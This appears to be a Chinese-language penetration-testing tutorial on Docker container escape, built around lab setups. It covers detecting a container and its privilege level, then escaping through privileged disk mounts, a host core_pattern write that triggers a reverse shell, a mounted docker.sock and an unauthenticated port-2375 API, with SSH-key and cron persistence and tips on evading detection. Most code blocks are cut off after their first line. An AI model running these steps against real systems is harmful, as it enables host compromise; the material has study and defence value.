Docker 容器逃逸
容器内信息收集
当我们拿到一个 shell 时,需判断当前是否未 docker 容器环境。
查看 cgroup 信息
使用到的命令:
1 | cat /proc/1/cgroup |
/proc/1/cgroup文件记录了进程的控制组 (cgroup) 信息。
在 Linux 系统中,当在容器中运行进程时,每个进程会被分配到一个或多个 cgroup 中,cgroup 可以对进程的资源使用进行控制和限制。
如果在容器内可以非常明确的看到 docker 字样。

非容器内则没有 docker 字样。

如果在 k8s 编排的容器中,则结果如下:

因此我们一条命令即可得知是否在 docker 容器内,命令如下:
1 | cat /proc/1/cgroup | grep -qi docker && echo "In Docker" || echo "Not Docker" |
在容器环境下的结果:

非容器下的结果:

检查 .dockerenv 文件
在容器环境内,根目录则存在一个隐藏的 dockerenv 文件,非容器环境则没有。
1 | ls -la /.dockerenv |


查看硬盘信息
容器内则输出为空(除特权模式启动以外),非容器内则有输出。
1 | fdisk -l && id |
可以看到结果是没有 fdisk 命令执行结果输出的,而该命令是执行成功了的,否则不会有 id 命令的输出。

而非容器内的结果是这样的。

其他技巧
1 | head -n 1 /proc/1/sched |
容器环境结果通常是:
1 | sh (1, #threads: 1) |

而非容器,则通常输出 systemd。

常用测试命令
1 | ( |
1 | test -f /.dockerenv && echo "In Docker" |
1 | grep -qaE 'docker|kubepods|containerd|libpod|lxc' /proc/1/cgroup && echo "In Docker" |
配置不当下的容器逃逸
特权模式下启动容器
环境搭建
以特权模式启动一个容器即可。
1 | docker pull ubuntu:20.04 |

识别特权模式
在容器内,我们如何分辨出当前容器是否属于特权模式启动呢?
1️⃣ 使用 fdisk -l 命令判断。
1 | fdisk -l |

非特权模式是不能执行 fdisk -l命令的,如下。

2️⃣ 使用 /proc 目录判断,如果输出类似 0000003fffffffff、0000001fffffffff则是特权模式。
1 | cat /proc/self/status | grep CapEff |


3️⃣ 设备级判断,特权模式结果很多,普通模式则几乎没有。
1 | ls /dev | grep -E 'loop|kmsg|mem|kmem' |


4️⃣ 常用测试命令
1 | is_priv=false |
容器逃逸
假设已经拿到容器内 root 用户的权限,我们这里进入到容器。

我们将磁盘挂载到容器的某个路径下,先查看一下容器的信息:
1 | fdisk -l |

在当前根目录下创建目录 .system 然后将 /dev/vda1 挂载到 .system目录下。
1 | mkdir /.system |
此时的 system 目录下就是宿主机的根目录。

后续可以通过写入 SSH 公钥、计划任务等方式达到 getshell 的效果。
ssh 写公钥如下:
1 | cd /.system/root/.ssh |

计划任务 getshell 如下:
1 | 适用于 Centos |
接着使用 nc 监听 9999 端口就行。
一些思考
以目标 “获取宿主机上的配置文件” 为例,以下几种逃逸手法在容易在防御团队中暴露的概率从大到小,排序如下(部分典型手法举例,不同的 EDR 情况不同):
mount /etc + write crontab
mount /root/.ssh + write authorized_keys
old CVE/vulnerability exploit
write cgroup notify_on_release
write procfs core_pattern
volumeMounts: / + chroot
remount and rewrite cgroup
websocket/sock shell + volumeMounts: /path
需要的时候可以配合 ChatGPT。
自动化工具 CDK 使用
通过使用如下命令在容器内进行信息收集
1 | ./cdk_linux_amd64 evaluate --full |

从上图中发现如下信息:
- 容器启动可能是特权模式
- 可以使用 rewrite-cgroup-devices(重写Cgroup以访问设备)
- 可以使用 mount-cgroup (Cgroup逃逸)
- …
由于是特权模式,我们还可以在 CDK 文档中的 exploit 搜索特权进行利用。

尝试使用重写 Cgroup 逃逸:
1 | ./cdk_linux_amd64 run rewrite-cgroup-devices |


尝试使用mount-cgroup (Cgroup逃逸):
1 | ./cdk_linux_amd64 run mount-cgroup "touch /tmp/hacked" |

来到宿主机查看:

或者我们前面使用到的挂载逃逸:
1 | ./cdk_linux_amd64 run mount-disk |

挂载宿主机 procfs 文件逃逸
前置知识
我们常说挂载宿主机 procfs 逃逸,其本质上因为宿主机挂载了procfs,导致我们可以像宿主机内写入一段恶意的 payload,比如反弹 shell ,然后利用代码制造崩溃,触发内存转储,就会执行我们恶意的 payload。
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的 procfs 挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
core_pattern(核心转储模式)是Linux系统中的一个配置参数,用于定义在程序崩溃时生成核心转储文件的方式和位置。当一个程序发生崩溃(如段错误)时,操作系统会生成一个包含程序崩溃状态的核心转储文件,以便进行调试和故障排除
环境搭建
1 | docker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:20.04 |
容器逃逸
执行如下命令,如果返回了两个 core_pattern 文件,则表明挂载了宿主机的 core_pattern 文件。
1 | find / -name core_pattern |

接下来就需要找当前容器在宿主机内的路径,通过如下命令查找:
1 | cat /proc/mounts | xargs -d ',' -n 1 | grep workdir |

将以上路径最后的 work修改为 merged,修改之后的内容如下:
1 | workdir=/var/lib/docker/overlay2/442c4e8f95006857e86e1666bc82f5a7e55046b690b09f35a68e98d890c38270/merged |
接下来我们需要准备一个反弹 shell 的脚本以及一个可以制造崩溃,触发内存转储的代码,反弹 shell 脚本如下:
在容器的 /tmp 目录下进行创建
1 | #!/usr/bin/python3 |
这里一定一定要给 /tmp目录下的 .system.py文件可执行权限。
1 | chmod +x /tmp/.system.py |
构造命令:
1 | echo -e "|/var/lib/docker/overlay2/442c4e8f95006857e86e1666bc82f5a7e55046b690b09f35a68e98d890c38270/merged/tmp/.system.py |
接着使用 c 语言写一个可以出发崩溃的程序:
1 |
|
接着进行编译:
1 | gcc .systemd.c -c systemd |
在 vps 上监听 2333 端口,然后在容器内执行 systemd 就可以造成 core_dump,接着执行 .system.py反弹 shell。

除上面的崩溃程序以外,还可以使用如下方式,同样可以造成崩溃。
1 |
|
1 |
|
自动化工具 CDK 使用
如果已经知道可以通过 procfs 进行逃逸了,可以直接查看 wiki 进行利用:

反之就可以使用 CDK 进行一些容器信息收集:
1 | ./cdk_linux_amd64 evaluate --ful |

可以看到这两个 core_pattern,前者表示挂载源,后者表示挂载点。
1 | # 这里通过写公钥的方式 getshell |

1 | # 写入公钥 |

使用私钥直接进行连接:

挂载 docker socket 逃逸
前置知识
Docker Socket(也称为Docker API Socket)是 Docker 引擎的UNIX套接字文件,用于与 Docker 守护进程(Docker daemon)进行通信。Docker 守护进程是 Docker 引擎的核心组件,负责管理和执行容器。Docker Socket 允许用户通过基于 RESTful API 的请求与 Docker 守护进程进行通信,以便执行各种操作,例如创建、运行和停止容器,构建和推送镜像,查看和管理容器的日志等。
当容器启动时挂载了 docker 的 socket 就可以实现逃逸。
环境搭建
1 | docker run -itd --name docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu:20.04 |
判断当前容器是否挂载了 sock:
1 | ls -lah /var/run/docker.sock |

通过如下命令也可以:
1 | cat /proc/mounts | grep docker.sock |


容器逃逸
这里需要在当前容器内安装一个 docker,由于宿主机的 socket 文件挂载到了容器,因此我们可以将宿主机的目录挂载到新的容器中。
1 | apt install docker.io # 这里以Ubuntu为例安装 |

由于使用的是同一个 docker socket,所以这里的 docker images 结果和宿主机的结果是一样的。

创建容器
1 | docker run -itd -v /:/demo ubuntu:20.04 /bin/bash |
进入到容器之后切换到到根目录为 /demo,此时就进入到了宿主机的目录。

容器漏洞-CVE-2020-15257
基础环境搭建
这里绿盟的开源项目 metarget 一键安装带有漏洞的 docker 版本。
1 | # 这里使用的是 docker 搭建的 ubuntu:18.04 ,这里一定要以特权模式启动,不然不能启动docker服务 |
1 | # 推荐使用Ubuntu 16.04 获 Ubuntu 18.04 |
如果在容器内,执行以上命令报如下错误,则表示当前内核版本不匹配,无法安装。

如果报错如下:

如果报其他错误,可以尝试命令:
1 | export LANG=C.UTF-8 |
之后应该就可以正常安装了。

后面就遇到了各种报错,干脆不解决了。

容器逃逸复现


docker 未授权 API 逃逸
Docker 的 2375 端口主要用于 Docker 守护进程的监听和通信。它主要用于 Docker 容器的网络连接和通信,包括容器的启动、停止、删除等操作。该端口可以被Docker守护进程用于接收来自客户端的请求,并与其进行交互和通信。需要注意的是,使用该端口需要确保防火墙设置正确,以避免潜在的安全风险。
简而言之,docker 远程 API 可以执行 docker 命令,docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 docker。
环境搭建
开启 docker 远程 api
1 | dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375 |

前置知识
如何确定当前 docker 远程 api 存在未授权:
1 | curl http://127.0.0.1:2375 |

通过 http 方式可以直接查看当前运行的容器信息。
1 | http://xxx.xxx.xxx.xxx:2375/containers/json |


也可以通过 docker -H 加载远程的 api 执行 docker 命令。
1 | docker -H tcp://xxx.xxx.xxx.xx:2375 ps -a |

容器逃逸
两种方法,其本质都是创建一个拥有特权并且挂载宿主机
/目录的容器。
1️⃣ 新运行一个容器,挂载点设置为服务器的根目录挂载至 /mnt 目录下
1 | # 利用 api 查看主机的所有镜像 |

后续通过 ssh 公钥或者计划任务、反弹 shell 等都可以 getshell。
1 | #连接2375端口 |
参考文章
- https://forum.butian.net/share/2638
- https://wiki.teamssix.com/CloudNative/Docker/docker-procfs-escape.html
- https://wiki.teamssix.com/CloudNative/Docker/docker-socket-escape.html
- https://wiki.teamssix.com/CloudNative/Docker/docker-privileged-escape.html
- https://wiki.teamssix.com/CloudNative/Docker/docker-remote-api-unauth-escape.html
- https://github.com/Metarget/metarget
- https://github.com/cdk-team/CDK


